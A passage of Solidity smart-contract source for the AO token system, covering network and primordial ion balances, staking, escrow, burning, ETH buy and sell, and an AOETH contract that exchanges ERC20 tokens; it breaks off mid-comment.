}
/**
* @dev Calculate the bonus amount of network ion on a given lot
* AO Bonus Amount = B% x P
*
* @param _purchaseAmount The amount of primordial ion intended to be purchased
* @param _totalPrimordialMintable Total Primordial ion intable
* @param _totalPrimordialMinted Total Primordial ion minted so far
* @param _startingMultiplier The starting Network ion bonus multiplier
* @param _endingMultiplier The ending Network ion bonus multiplier
* @return The bonus percentage
*/
function calculateNetworkBonusAmount(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) {
uint256 bonusPercentage = calculateNetworkBonusPercentage(_purchaseAmount, _totalPrimordialMintable, _totalPrimordialMinted, _startingMultiplier, _endingMultiplier);
/**
* Since bonusPercentage is in _PERCENTAGE_DIVISOR format, need to divide it with _PERCENTAGE DIVISOR
* when calculating the network ion bonus amount
*/
uint256 networkBonus = bonusPercentage.mul(_purchaseAmount).div(_PERCENTAGE_DIVISOR);
return networkBonus;
}
/**
* @dev Calculate the maximum amount of Primordial an account can burn
* _primordialBalance = P
* _currentWeightedMultiplier = M
* _maximumMultiplier = S
* _amountToBurn = B
* B = ((S x P) - (P x M)) / S
*
* @param _primordialBalance Account's primordial ion balance
* @param _currentWeightedMultiplier Account's current weighted multiplier
* @param _maximumMultiplier The maximum multiplier of this account
* @return The maximum burn amount
*/
function calculateMaximumBurnAmount(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _maximumMultiplier) public pure returns (uint256) {
return (_maximumMultiplier.mul(_primordialBalance).sub(_primordialBalance.mul(_currentWeightedMultiplier))).div(_maximumMultiplier);
}
/**
* @dev Calculate the new multiplier after burning primordial ion
* _primordialBalance = P
* _currentWeightedMultiplier = M
* _amountToBurn = B
* _newMultiplier = E
* E = (P x M) / (P - B)
*
* @param _primordialBalance Account's primordial ion balance
* @param _currentWeightedMultiplier Account's current weighted multiplier
* @param _amountToBurn The amount of primordial ion to burn
* @return The new multiplier
*/
function calculateMultiplierAfterBurn(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _amountToBurn) public pure returns (uint256) {
return _primordialBalance.mul(_currentWeightedMultiplier).div(_primordialBalance.sub(_amountToBurn));
}
/**
* @dev Calculate the new multiplier after converting network ion to primordial ion
* _primordialBalance = P
* _currentWeightedMultiplier = M
* _amountToConvert = C
* _newMultiplier = E
* E = (P x M) / (P + C)
*
* @param _primordialBalance Account's primordial ion balance
* @param _currentWeightedMultiplier Account's current weighted multiplier
* @param _amountToConvert The amount of network ion to convert
* @return The new multiplier
*/
function calculateMultiplierAfterConversion(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _amountToConvert) public pure returns (uint256) {
return _primordialBalance.mul(_currentWeightedMultiplier).div(_primordialBalance.add(_amountToConvert));
}
/**
* @dev count num of digits
* @param number uint256 of the nuumber to be checked
* @return uint8 num of digits
*/
function numDigits(uint256 number) public pure returns (uint8) {
uint8 digits = 0;
while(number != 0) {
number = number.div(10);
digits++;
}
return digits;
}
}
interface ionRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external;
}
/**
* @title AOIonInterface
*/
contract AOIonInterface is TheAO {
using SafeMath for uint256;
address public namePublicKeyAddress;
address public nameAccountRecoveryAddress;
INameTAOPosition internal _nameTAOPosition;
INamePublicKey internal _namePublicKey;
INameAccountRecovery internal _nameAccountRecovery;
// Public variables of the contract
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
// To differentiate denomination of AO
uint256 public powerOfTen;
/***** NETWORK ION VARIABLES *****/
uint256 public sellPrice;
uint256 public buyPrice;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public stakedBalance;
mapping (address => uint256) public escrowedBalance;
// This generates a public event on the blockchain that will notify clients
event FrozenFunds(address target, bool frozen);
event Stake(address indexed from, uint256 value);
event Unstake(address indexed from, uint256 value);
event Escrow(address indexed from, address indexed to, uint256 value);
event Unescrow(address indexed from, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* @dev Constructor function
*/
constructor(string memory _name, string memory _symbol, address _nameTAOPositionAddress, address _namePublicKeyAddress, address _nameAccountRecoveryAddress) public {
setNameTAOPositionAddress(_nameTAOPositionAddress);
setNamePublicKeyAddress(_namePublicKeyAddress);
setNameAccountRecoveryAddress(_nameAccountRecoveryAddress);
name = _name; // Set the name for display purposes
symbol = _symbol; // Set the symbol for display purposes
powerOfTen = 0;
decimals = 0;
}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
*/
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
/**
* @dev The AO set the NameTAOPosition Address
* @param _nameTAOPositionAddress The address of NameTAOPosition
*/
function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO {
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
_nameTAOPosition = INameTAOPosition(nameTAOPositionAddress);
}
/**
* @dev The AO set the NamePublicKey Address
* @param _namePublicKeyAddress The address of NamePublicKey
*/
function setNamePublicKeyAddress(address _namePublicKeyAddress) public onlyTheAO {
require (_namePublicKeyAddress != address(0));
namePublicKeyAddress = _namePublicKeyAddress;
_namePublicKey = INamePublicKey(namePublicKeyAddress);
}
/**
* @dev The AO set the NameAccountRecovery Address
* @param _nameAccountRecoveryAddress The address of NameAccountRecovery
*/
function setNameAccountRecoveryAddress(address _nameAccountRecoveryAddress) public onlyTheAO {
require (_nameAccountRecoveryAddress != address(0));
nameAccountRecoveryAddress = _nameAccountRecoveryAddress;
_nameAccountRecovery = INameAccountRecovery(nameAccountRecoveryAddress);
}
/**
* @dev Allows TheAO to transfer `_amount` of ETH from this address to `_recipient`
* @param _recipient The recipient address
* @param _amount The amount to transfer
*/
function transferEth(address payable _recipient, uint256 _amount) public onlyTheAO {
require (_recipient != address(0));
_recipient.transfer(_amount);
}
/**
* @dev Prevent/Allow target from sending & receiving ions
* @param target Address to be frozen
* @param freeze Either to freeze it or not
*/
function freezeAccount(address target, bool freeze) public onlyTheAO {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
/**
* @dev Allow users to buy ions for `newBuyPrice` eth and sell ions for `newSellPrice` eth
* @param newSellPrice Price users can sell to the contract
* @param newBuyPrice Price users can buy from the contract
*/
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) public onlyTheAO {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
/***** NETWORK ION WHITELISTED ADDRESS ONLY METHODS *****/
/**
* @dev Create `mintedAmount` ions and send it to `target`
* @param target Address to receive the ions
* @param mintedAmount The amount of ions it will receive
* @return true on success
*/
function mint(address target, uint256 mintedAmount) public inWhitelist returns (bool) {
_mint(target, mintedAmount);
return true;
}
/**
* @dev Stake `_value` ions on behalf of `_from`
* @param _from The address of the target
* @param _value The amount to stake
* @return true on success
*/
function stakeFrom(address _from, uint256 _value) public inWhitelist returns (bool) {
require (balanceOf[_from] >= _value); // Check if the targeted balance is enough
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
stakedBalance[_from] = stakedBalance[_from].add(_value); // Add to the targeted staked balance
emit Stake(_from, _value);
return true;
}
/**
* @dev Unstake `_value` ions on behalf of `_from`
* @param _from The address of the target
* @param _value The amount to unstake
* @return true on success
*/
function unstakeFrom(address _from, uint256 _value) public inWhitelist returns (bool) {
require (stakedBalance[_from] >= _value); // Check if the targeted staked balance is enough
stakedBalance[_from] = stakedBalance[_from].sub(_value); // Subtract from the targeted staked balance
balanceOf[_from] = balanceOf[_from].add(_value); // Add to the targeted balance
emit Unstake(_from, _value);
return true;
}
/**
* @dev Store `_value` from `_from` to `_to` in escrow
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value The amount of network ions to put in escrow
* @return true on success
*/
function escrowFrom(address _from, address _to, uint256 _value) public inWhitelist returns (bool) {
require (balanceOf[_from] >= _value); // Check if the targeted balance is enough
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
escrowedBalance[_to] = escrowedBalance[_to].add(_value); // Add to the targeted escrowed balance
emit Escrow(_from, _to, _value);
return true;
}
/**
* @dev Create `mintedAmount` ions and send it to `target` escrow balance
* @param target Address to receive ions
* @param mintedAmount The amount of ions it will receive in escrow
*/
function mintEscrow(address target, uint256 mintedAmount) public inWhitelist returns (bool) {
escrowedBalance[target] = escrowedBalance[target].add(mintedAmount);
totalSupply = totalSupply.add(mintedAmount);
emit Escrow(address(this), target, mintedAmount);
return true;
}
/**
* @dev Release escrowed `_value` from `_from`
* @param _from The address of the sender
* @param _value The amount of escrowed network ions to be released
* @return true on success
*/
function unescrowFrom(address _from, uint256 _value) public inWhitelist returns (bool) {
require (escrowedBalance[_from] >= _value); // Check if the targeted escrowed balance is enough
escrowedBalance[_from] = escrowedBalance[_from].sub(_value); // Subtract from the targeted escrowed balance
balanceOf[_from] = balanceOf[_from].add(_value); // Add to the targeted balance
emit Unescrow(_from, _value);
return true;
}
/**
*
* @dev Whitelisted address remove `_value` ions from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function whitelistBurnFrom(address _from, uint256 _value) public inWhitelist returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
totalSupply = totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
/**
* @dev Whitelisted address transfer ions from other address
*
* Send `_value` ions to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function whitelistTransferFrom(address _from, address _to, uint256 _value) public inWhitelist returns (bool success) {
_transfer(_from, _to, _value);
return true;
}
/***** PUBLIC METHODS *****/
/**
* Transfer ions
*
* Send `_value` ions to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer ions from other address
*
* Send `_value` ions to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Transfer ions between public key addresses in a Name
* @param _nameId The ID of the Name
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferBetweenPublicKeys(address _nameId, address _from, address _to, uint256 _value) public returns (bool success) {
require (AOLibrary.isName(_nameId));
require (_nameTAOPosition.senderIsAdvocate(msg.sender, _nameId));
require (!_nameAccountRecovery.isCompromised(_nameId));
// Make sure _from exist in the Name's Public Keys
require (_namePublicKey.isKeyExist(_nameId, _from));
// Make sure _to exist in the Name's Public Keys
require (_namePublicKey.isKeyExist(_nameId, _to));
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` ions in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` ions in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool success) {
ionRecipient spender = ionRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
/**
* Destroy ions
*
* Remove `_value` ions from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy ions from other account
*
* Remove `_value` ions from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
/**
* @dev Buy ions from contract by sending ether
*/
function buy() public payable {
require (buyPrice > 0);
uint256 amount = msg.value.div(buyPrice);
_transfer(address(this), msg.sender, amount);
}
/**
* @dev Sell `amount` ions to contract
* @param amount The amount of ions to be sold
*/
function sell(uint256 amount) public {
require (sellPrice > 0);
address myAddress = address(this);
require (myAddress.balance >= amount.mul(sellPrice));
_transfer(msg.sender, address(this), amount);
msg.sender.transfer(amount.mul(sellPrice));
}
/***** INTERNAL METHODS *****/
/**
* @dev Send `_value` ions from `_from` to `_to`
* @param _from The address of sender
* @param _to The address of the recipient
* @param _value The amount to send
*/
function _transfer(address _from, address _to, uint256 _value) internal {
require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to].add(_value) >= balanceOf[_to]); // Check for overflows
require (!frozenAccount[_from]); // Check if sender is frozen
require (!frozenAccount[_to]); // Check if recipient is frozen
uint256 previousBalances = balanceOf[_from].add(balanceOf[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
/**
* @dev Create `mintedAmount` ions and send it to `target`
* @param target Address to receive the ions
* @param mintedAmount The amount of ions it will receive
*/
function _mint(address target, uint256 mintedAmount) internal {
balanceOf[target] = balanceOf[target].add(mintedAmount);
totalSupply = totalSupply.add(mintedAmount);
emit Transfer(address(0), address(this), mintedAmount);
emit Transfer(address(this), target, mintedAmount);
}
}
/**
* @title AOETH
*/
contract AOETH is TheAO, TokenERC20, tokenRecipient {
using SafeMath for uint256;
address public aoIonAddress;
AOIon internal _aoIon;
uint256 public totalERC20Tokens;
uint256 public totalTokenExchanges;
struct ERC20Token {
address tokenAddress;
uint256 price; // price of this ERC20 Token to AOETH
uint256 maxQuantity; // To prevent too much exposure to a given asset
uint256 exchangedQuantity; // Running total (total AOETH exchanged from this specific ERC20 Token)
bool active;
}
struct TokenExchange {
bytes32 exchangeId;
address buyer; // The buyer address
address tokenAddress; // The address of ERC20 Token
uint256 price; // price of ERC20 Token to AOETH
uint256 sentAmount; // Amount of ERC20 Token sent
uint256 receivedAmount; // Amount of AOETH received
bytes extraData; // Extra data
}
// Mapping from id to ERC20Token object
mapping (uint256 => ERC20Token) internal erc20Tokens;
mapping (address => uint256) internal erc20TokenIdLookup;
// Mapping from id to TokenExchange object
mapping (uint256 => TokenExchange) internal tokenExchanges;
mapping (bytes32 => uint256) internal tokenExchangeIdLookup;
mapping (address => uint256) public totalAddressTokenExchanges;
// Event to be broadcasted to public when TheAO adds an ERC20 Token
event AddERC20Token(address indexed tokenAddress, uint256 price, uint256 maxQuantity);
// Event to be broadcasted to public when TheAO sets price for ERC20 Token
event SetPrice(address indexed tokenAddress, uint256 price);
// Event to be broadcasted to public when TheAO sets max quantity for ERC20 Token
event SetMaxQuantity(address indexed tokenAddress, uint256 maxQuantity);
// Event to be broadcasted to public when TheAO sets active status for ERC20 Token
event SetActive(address indexed tokenAddress, bool active);
// Event to be broadcasted to public when user exchanges ERC20 Token for AOETH
event ExchangeToken(bytes32 indexed exchangeId, address indexed from, address tokenAddress, string tokenName, string tokenSymbol, uint256 sentTokenAmount, uint256 receivedAOETHAmount, bytes extraData);
/**
* @dev Constructor function
*/
constructor(uint256 initialSupply, string memory tokenName, string memory tokenSymbol, address _aoIonAddress, address _nameTAOPositionAddress)
TokenERC20(initialSupply, tokenName, tokenSymbol) public {
setAOIonAddress(_aoIonAddress);
setNameTAOPositionAddress(_nameTAOPositionAddress);
}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
*/
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
/**
* @dev The AO set the AOIon Address
* @param _aoIonAddress The address of AOIon
*/
function setAOIonAddress(address _aoIonAddress) public onlyTheAO {
require (_aoIonAddress != address(0));
aoIonAddress = _aoIonAddress;
_aoIon = AOIon(_aoIonAddress);
}
/**
* @dev The AO set the NameTAOPosition Address
* @param _nameTAOPositionAddress The address of NameTAOPosition
*/
function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO {
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
}
/**
* @dev Allows TheAO to transfer `_amount` of ERC20 Token from this address to `_recipient`
* @param _erc20TokenAddress The address of ERC20 Token
* @param _recipient The recipient address
* @param _amount The amount to transfer
*/
function transferERC20(address _erc20TokenAddress, address _recipient, uint256 _amount) public onlyTheAO {
TokenERC20 _erc20 = TokenERC20(_erc20TokenAddress);
require (_erc20.transfer(_recipient, _amount));
}
/**
* @dev Add an ERC20 Token to the list
* @param _tokenAddress The address of the ERC20 Token
* @param _price The price of this token to AOETH
* @param _maxQuantity Maximum quantity allowed for exchange
*/
function addERC20Token(address _tokenAddress, uint256 _price, uint256 _maxQuantity) public onlyTheAO {
require (_tokenAddress != address(0) && _price > 0 && _maxQuantity > 0);
require (AOLibrary.isValidERC20TokenAddress(_tokenAddress));
require (erc20TokenIdLookup[_tokenAddress] == 0);
totalERC20Tokens++;
erc20TokenIdLookup[_tokenAddress] = totalERC20Tokens;
ERC20Token storage _erc20Token = erc20Tokens[totalERC20Tokens];
_erc20Token.tokenAddress = _tokenAddress;
_erc20Token.price = _price;
_erc20Token.maxQuantity = _maxQuantity;
_erc20Token.active = true;
emit AddERC20Token(_erc20Token.tokenAddress, _erc20Token.price, _erc20Token.maxQuantity);
}
/**
* @dev Set price for existing ERC20 Token
* @param _tokenAddress The address of the ERC20 Token
* @param _price The price of this token to AOETH
*/
function setPrice(address _tokenAddress, uint256 _price) public onlyTheAO {
require (erc20TokenIdLookup[_tokenAddress] > 0);
require (_price > 0);
ERC20Token storage _erc20Token = erc20Tokens[erc20TokenIdLookup[_tokenAddress]];
_erc20Token.price = _price;
emit SetPrice(_erc20Token.tokenAddress, _erc20Token.price);
}
/**
* @dev Set max quantity for existing ERC20 Token
* @param _tokenAddress The address of the ERC20 Token
* @param _maxQuantity The max exchange quantity for this token
*/
function setMaxQuantity(address _tokenAddress, uint256 _maxQuantity) public onlyTheAO {
require (erc20TokenIdLookup[_tokenAddress] > 0);
ERC20Token storage _erc20Token = erc20Tokens[erc20TokenIdLookup[_tokenAddress]];
require (_maxQuantity > _erc20Token.exchangedQuantity);
_erc20Token.maxQuantity = _maxQuantity;
emit SetMaxQuantity(_erc20Token.tokenAddress, _erc20Token.maxQuantity);
}
/**
* @dev Set active status for existing ERC20 Token
* @param _tokenAddress The address of the ERC20 Token
* @param _active The active status for this token
*/
function setActive(address _tokenAddress, bool _active) public onlyTheAO {
require (erc20TokenIdLookup[_tokenAddress] > 0);
ERC20Token storage _erc20Token = erc20Tokens[erc20TokenIdLookup[_tokenAddress]];
_erc20Token.active = _active;
emit SetActive(_erc20Token.tokenAddress, _erc20Token.active);
}
/**
* @dev Whitelisted address transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function whitelistTransferFrom(address _from, address _to, uint256 _value) public inWhitelist returns (bool success) {
_transfer(_from, _to, _value);
return true;
}
/***** PUBLIC METHODS *****/
/**
* @dev Get an ERC20 Token information given an ID
* @param _id The internal ID of the ERC20 Token
* @return The ERC20 Token address
* @return The name of the token
* @return The symbol of the token
* @return The price of this token to AOETH
* @return The max quantity for exchange
* @return The total AOETH exchanged from this token
* @return The status of this token
*/
function getById(uint256 _id) public view returns (address, string memory, string memory, uint256, uint256, uint256, bool) {
require (erc20Tokens[_id].tokenAddress != address(0));
ERC20Token memory _erc20Token = erc20Tokens[_id];
return (
_erc20Token.tokenAddress,
TokenERC20(_erc20Token.tokenAddress).name(),
TokenERC20(_erc20Token.tokenAddress).symbol(),
_erc20Token.price,
_erc20Token.maxQuantity,
_erc20Token.exchangedQuantity,
_erc20Token.active
);
}
/**
* @dev Get an ERC20 Token information given an address
* @param _tokenAddress The address of the ERC20 Token
* @return The ERC20 Token address
* @return The name of the token
* @return The symbol of the token
* @return The price of this token to AOETH
* @return The max quantity for exchange
* @return The total AOETH exchanged from this token
* @return The status of this token
*/
function getByAddress(address _tokenAddress) public view returns (address, string memory, string memory, uint256, uint256, uint256, bool) {
require (erc20TokenIdLookup[_tokenAddress] > 0);
return getById(erc20TokenIdLookup[_tokenAddress]);
}
/**
* @dev When a user approves AOETH to spend on his/her behalf (i.e exchange to AOETH)
* @param _from The user address that approved AOETH
* @param _value The amount that the user approved
* @param _token The address of the ERC20 Token
* @param _extraData The extra data sent during the approval
*/
function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external {
require (_from != address(0));
require (AOLibrary.isValidERC20TokenAddress(_token));
// Check if the token is supported
require (erc20TokenIdLookup[_token] > 0);
ERC20Token storage _erc20Token = erc20Tokens[erc20TokenIdLookup[_token]];
require (_erc20Token.active && _erc20Token.price > 0 && _erc20Token.exchangedQuantity < _erc20Token.maxQuantity);
uint256 amountToTransfer = _value.div(_erc20Token.price);
require (_erc20Token.maxQuantity.sub(_erc20Token.exchangedQuantity) >= amountToTransfer);
require (_aoIon.availableETH() >= amountToTransfer);
// Transfer the ERC20 Token from the `_from` address to here
require (TokenERC20(_token).transferFrom(_from, address(this), _value));
_erc20Token.exchangedQuantity = _erc20Token.exchangedQuantity.add(amountToTransfer);
balanceOf[_from] = balanceOf[_from].add(amountToTransfer);
totalSupply = totalSupply.add(amountToTransfer);
// Store the TokenExchange information
totalTokenExchanges++;
totalAddressTokenExchanges[_from]++;
bytes32 _exchangeId = keccak256(abi.encodePacked(this, _from, totalTokenExchanges));
tokenExchangeIdLookup[_exchangeId] = totalTokenExchanges;
TokenExchange storage _tokenExchange = tokenExchanges[totalTokenExchanges];
_tokenExchange.exchangeId = _exchangeId;
_tokenExchange.buyer = _from;
_tokenExchange.tokenAddress = _token;
_tokenExchange.price = _erc20Token.price;
_tokenExchange.sentAmount = _value;
_tokenExchange.receivedAmount = amountToTransfer;
_tokenExchange.extraData = _extraData;
emit ExchangeToken(_tokenExchange.exchangeId, _tokenExchange.buyer, _tokenExchange.tokenAddress, TokenERC20(_token).name(), TokenERC20(_token).symbol(), _tokenExchange.sentAmount, _tokenExchange.receivedAmount, _tokenExchange.extraData);
}
/**
* @dev Get TokenExchange information given an exchange ID
* @param _exchangeId The exchange ID to query
* @return The buyer address
* @return The sent ERC20 Token address
* @return The ERC20 Token name
* @return The ERC20 Token symbol
* @return The price of ERC20 Token to AOETH
* @return The amount of ERC20 Token sent
* @return The amount of AOETH received
* @return Extra data during the transaction
*/
function getTokenExchangeById(bytes32 _exchangeId) public view returns (address, address, string memory, string memory, uint256, uint256, uint256, bytes memory) {
require (tokenExchangeIdLookup[_exchangeId] > 0);
TokenExchange memory _tokenExchange = tokenExchanges[tokenExchangeIdLookup[_exchangeId]];
return (
_tokenExchange.buyer,
_tokenExchange.tokenAddress,
TokenERC20(_tokenExchange.tokenAddress).name(),
TokenERC20(_tokenExchange.tokenAddress).symbol(),
_tokenExchange.price,
_tokenExchange.sentAmount,
_tokenExchange.receivedAmount,
_tokenExchange.extraData
);
}
}
/**
* @title AOIon
*/
contract AOIon is AOIonInterface {
using SafeMath for uint256;
address public aoIonLotAddress;
address public settingTAOId;
address public aoSettingAddress;
address public aoethAddress;
// AO Dev Team addresses to receive Primordial/Network Ions
address public aoDevTeam1 = 0x146CbD9821e6A42c8ff6DC903fe91CB69625A105;
address public aoDevTeam2 = 0x4810aF1dA3aC827259eEa72ef845F4206C703E8D;
IAOIonLot internal _aoIonLot;
IAOSetting internal _aoSetting;
AOETH internal _aoeth;
/***** PRIMORDIAL ION VARIABLES *****/
uint256 public primordialTotalSupply;
uint256 public primordialTotalBought;
uint256 public primordialSellPrice;
uint256 public primordialBuyPrice;
uint256 public totalEthForPrimordial; // Total ETH sent for Primordial AO+
uint256 public totalRedeemedAOETH; // Total AOETH redeemed for Primordial AO+
// Total available primordial ion for sale 3,377,699,720,527,872 AO+
uint256 constant public TOTAL_PRIMORDIAL_FOR_SALE = 3377699720527872;
mapping (address => uint256) public primordialBalanceOf;
mapping (address => mapping (address => uint256)) public primordialAllowance;
// Mapping from owner's lot weighted multiplier to the amount of staked ions
mapping (address => mapping (uint256 => uint256)) public primordialStakedBalance;
event PrimordialTransfer(address indexed from, address indexed to, uint256 value);
event PrimordialApproval(address indexed _owner, address indexed _spender, uint256 _value);
event PrimordialBurn(address indexed from, uint256 value);
event PrimordialStake(address indexed from, uint256 value, uint256 weightedMultiplier);
event PrimordialUnstake(address indexed from, uint256 value, uint256 weightedMultiplier);
event NetworkExchangeEnded();
bool public networkExchangeEnded;
// Mapping from owner to his/her current weighted multiplier
mapping (address => uint256) internal ownerWeightedMultiplier;
// Mapping from owner to his/her max multiplier (multiplier of account's first Lot)
mapping (address => uint256) internal ownerMaxMultiplier;
// Event to be broadcasted to public when user buys primordial ion
// payWith 1 == with Ethereum
// payWith 2 == with AOETH
event BuyPrimordial(address indexed lotOwner, bytes32 indexed lotId, uint8 payWith, uint256 sentAmount, uint256 refundedAmount);
/**
* @dev Constructor function
*/
constructor(string memory _name, string memory _symbol, address _settingTAOId, address _aoSettingAddress, address _nameTAOPositionAddress, address _namePublicKeyAddress, address _nameAccountRecoveryAddress)
AOIonInterface(_name, _symbol, _nameTAOPositionAddress, _namePublicKeyAddress, _nameAccountRecoveryAddress) public {
setSettingTAOId(_settingTAOId);
setAOSettingAddress(_aoSettingAddress);
powerOfTen = 0;
decimals = 0;
setPrimordialPrices(0, 10 ** 8); // Set Primordial buy price to 0.1 gwei/ion
}
/**
* @dev Checks if buyer can buy primordial ion
*/
modifier canBuyPrimordial(uint256 _sentAmount, bool _withETH) {
require (networkExchangeEnded == false &&
primordialTotalBought < TOTAL_PRIMORDIAL_FOR_SALE &&
primordialBuyPrice > 0 &&
_sentAmount > 0 &&
availablePrimordialForSaleInETH() > 0 &&
(
(_withETH && availableETH() > 0) ||
(!_withETH && totalRedeemedAOETH < _aoeth.totalSupply())
)
);
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev The AO sets AOIonLot address
* @param _aoIonLotAddress The address of AOIonLot
*/
function setAOIonLotAddress(address _aoIonLotAddress) public onlyTheAO {
require (_aoIonLotAddress != address(0));
aoIonLotAddress = _aoIonLotAddress;
_aoIonLot = IAOIonLot(_aoIonLotAddress);
}
/**
* @dev The AO sets setting TAO ID
* @param _settingTAOId The new setting TAO ID to set
*/
function setSettingTAOId(address _settingTAOId) public onlyTheAO {
require (AOLibrary.isTAO(_settingTAOId));
settingTAOId = _settingTAOId;
}
/**
* @dev The AO sets AO Setting address
* @param _aoSettingAddress The address of AOSetting
*/
function setAOSettingAddress(address _aoSettingAddress) public onlyTheAO {
require (_aoSettingAddress != address(0));
aoSettingAddress = _aoSettingAddress;
_aoSetting = IAOSetting(_aoSettingAddress);
}
/**
* @dev Set AO Dev team addresses to receive Primordial/Network ions during network exchange
* @param _aoDevTeam1 The first AO dev team address
* @param _aoDevTeam2 The second AO dev team address
*/
function setAODevTeamAddresses(address _aoDevTeam1, address _aoDevTeam2) public onlyTheAO {
aoDevTeam1 = _aoDevTeam1;
aoDevTeam2 = _aoDevTeam2;
}
/**
* @dev Set AOETH address
* @param _aoethAddress The address of AOETH
*/
function setAOETHAddress(address _aoethAddress) public onlyTheAO {
require (_aoethAddress != address(0));
aoethAddress = _aoethAddress;
_aoeth = AOETH(_aoethAddress);
}
/***** PRIMORDIAL ION THE AO ONLY METHODS *****/
/**
* @dev Allow users to buy Primordial ions for `newBuyPrice` eth and sell Primordial ions for `newSellPrice` eth
* @param newPrimordialSellPrice Price users can sell to the contract
